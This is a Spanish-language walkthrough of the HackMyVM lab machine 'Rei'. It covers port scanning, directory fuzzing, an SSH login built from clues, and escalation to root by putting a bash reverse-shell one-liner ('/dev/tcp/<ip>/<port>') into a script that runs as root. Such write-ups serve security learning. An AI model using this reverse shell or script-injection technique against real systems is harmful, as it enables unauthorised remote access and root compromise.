4 min to read
Rei - HackMyVm
En esta ocasión tenemos una máquina nivel Easy creada por ShellDredd, tendremos varios trolleos a lo largo de la explotación y debemos fijarnos y prestar atención a todo.
Canal de ShellDredd Informática
Enlace Canal Youtube Shelldredd Informática
Reconocimiento de Puertos
Comenzamos lanzando nmap para descubrir los puertos abiertos en la máquina.
PORT STATE SERVICE
63777/tcp open unknown
65333/tcp open unknown
Me saca 2 puertos, pero no tengo ni idea de que se ejecuta en los mismos de forma que voy a realizar un escaneo más descriptivo para obtener los servicios que se ejecutan en cada puerto y sus versiones.
PORT STATE SERVICE VERSION
63777/tcp open http lighttpd 1.4.59
|_http-server-header: lighttpd/1.4.59
|_http-title: Welcome page
65333/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
| ssh-hostkey:
| 3072 25:62:b8:14:da:7d:e9:ea:48:4c:a9:31:08:cd:c5:78 (RSA)
| 256 b8:51:f8:62:de:16:09:d0:f9:a8:2c:c3:3b:09:a1:e3 (ECDSA)
|_ 256 f4:f5:6c:ac:81:ed:06:14:ea:07:de:56:ac:34:ca:be (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Una vez finalizado el escaneo ya tengo la información que necesitaba:
Puerto | Servicio | Versión |
---|---|---|
63777 | http | lighttpd 1.4.59 |
65333 | ssh | OpenSSH 8.4p1 Debian 5 |
Tenemos un servidor web en el puerto 63777 y ssh en el 65333
Enumeración Web
A simple vista no hay nada relevante que me pueda servir
Reviso el código fuente y tampoco hay nada.
Toca fuzzear para descubrir rutas en el servidor.
En esta ocasión uso gobuster bajo el comando:
gobuster dir -u http://192.168.0.13:63777 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt
Encuentro el robots.txt pero no hay nada…
Tras seguir buscando no encontraba nada asique decidí volver al principio porque me estaba dejando algo…
Me di cuenta tras un buen rato de búsqueda…
Si te fijas en la documentación que hay en la primera foto nada más acceder al servidor web verás la siguiente línea:
Additional documentation can be found at”text” archive: indexp in the default directory /var/www/html/.
Asique pruebo con la ruta http://192.168.0.13:63777/indexp.txt
Me saca un montón de rutas Disallow
pero varias Allow
Fui vistando cada ruta una a una y todas me daban error 404.
Excepto la ruta /gichin/your-button que me daba código 403 (Forbidden) al acceder.
De forma que sigo fuzzeando desde esa ruta.
gobuster dir -u http://192.168.0.13:63777/gichin/your-button -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt
Y me saca dos rutas:
- note.html
- ssh
Simplemente hay un gif, pero miro el código fuente y encuentro la siguiente línea:
title=”ENTER” href=”chuck-norris.html”
Tenemos una imágen… Y encontramos algo más
Pero hay que fijarse en todo, ya que la foto nos da varios datos interesantes…
BALANCE IS KEY
Chuck Norris is the user master
Podríamos estar ante un usuario y una posible contraseña… Asique porque no probar?
SSH
Nos intentamos loguear con los datos que tenemos por ssh.
Listo, tenemos acceso a través de ssh y ya podemos leer la flag user.txt, o eso creía…
chuck-norris@karate:~$ cat user.txt
(__)
(oo)
/------\/
/ | ||
* /\---/\
~~ ~~
..."Have you mooed today?"...
El señor Shelldredd siempre nos tiene algún trolleo guardado en la manga…
Pero no pasa nada, podemos probar con la ruta de cat o usar strings.
chuck-norris@karate:~$ strings user.txt
Flag User:
******U46AcfI*****
Escalada de Privilegios
Ahora toca escalar privilegios, y como siempre comenzamos enumerando para encontrar posibles vectores de escalada.
Lanzo linpeas.sh pero no veo nada raro… asique paso a lanzar pspy para buscar procesos ocultos en ejecución
Y encuentro lo siguiente
2022/09/22 12:51:29 CMD: UID=0 PID=10752 (kanga.sh)
Procedo a buscar el archivo…
chuck-norris@karate:~$ find / -name kanga.sh -type f 2>/dev/null
______________________________
⠄⠄⠄⠄⣠⣴⣿⣿⣿⣷⣦⡠⣴⣶⣶⣶⣦⡀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⠄⠄⣴⣿⣿⣫⣭⣭⣭⣭⣥⢹⣟⣛⣛⣛⣃⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄⠄
⠄⣠⢸⣿⣿⣿⣿⢯⡓⢻⠿⠿⠷⡜⣯⠭⢽⠿⠯⠽⣀⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣼⣿⣾⣿⣿⣿⣥⣝⠂⠐⠈⢸⠿⢆⠱⠯⠄⠈⠸⣛⡒⠄⠄⠄⠄⠄⠄⠄⠄⠄
⣿⣿⣿⣿⣿⣿⣿⣶⣶⣭⡭⢟⣲⣶⡿⠿⠿⠿⠿⠋⠄⠄⣴⠶⠶⠶⠶⠶⢶⡀
⣿⣿⣿⣿⣿⢟⣛⠿⢿⣷⣾⣿⣿⣿⣿⣿⣿⣿⣷⡄⠄⢰⠇⠄⠄⠄⠄⠄⠈⣧
⣿⣿⣿⣿⣷⡹⣭⣛⠳⠶⠬⠭⢭⣝⣛⣛⣛⣫⣭⡥⠄⠸⡄⣶⣶⣾⣿⣿⢇⡟
⠿⣿⣿⣿⣿⣿⣦⣭⣛⣛⡛⠳⠶⠶⠶⣶⣶⣶⠶⠄⠄⠄⠙⠮⣽⣛⣫⡵⠊⠁
⣍⡲⠮⣍⣙⣛⣛⡻⠿⠿⠿⠿⠿⠿⠿⠖⠂⠄⠄⠄⠄⠄⠄⠄⠄⣸⠄⠄⠄⠄
⣿⣿⣿⣶⣦⣬⣭⣭⣭⣝⣭⣭⣭⣴⣷⣦⡀⠄⠄⠄⠄⠄⠄⠠⠤⠿⠦⠤⠄⠄
_________FIND THIS..._________
Pero claro, olvidaba que es shelldredd y el trolleo nunca acaba :(
Sigo busando… ya que el pspy no me daba más info pero no encontré nada y volví a lanzarlo y descubrí esto
2022/09/22 12:58:49 CMD: UID=0 PID=10902 | /bin/bash /lost+found/sakugawa-kanga.sh
Ahí está lo que buscaba
Lo que hay es un simple script en bash, pruebo a meter una shell en bash.
bash -i >& /dev/tcp/<ip>/<port> 0>&1
Abrimos un oyente de netcat y tras esperar unos segundos…
Ahora ya podemos leer la bandera root.txt, o eso creía, tonto de mí.
Nos dice lo siguiente
Maritrini plays with you, call her by name from the hidden area and maybe she will give you back the password.
Debemos buscar un archivo con el nombre maritrini y tendremos la bandera root.txt
Tras buscar un buen rato lo encuentro en la ruta:
/mnt/.maritrini
Agradecimientos a Shelldredd por esta máquina y por el trolleo gratuito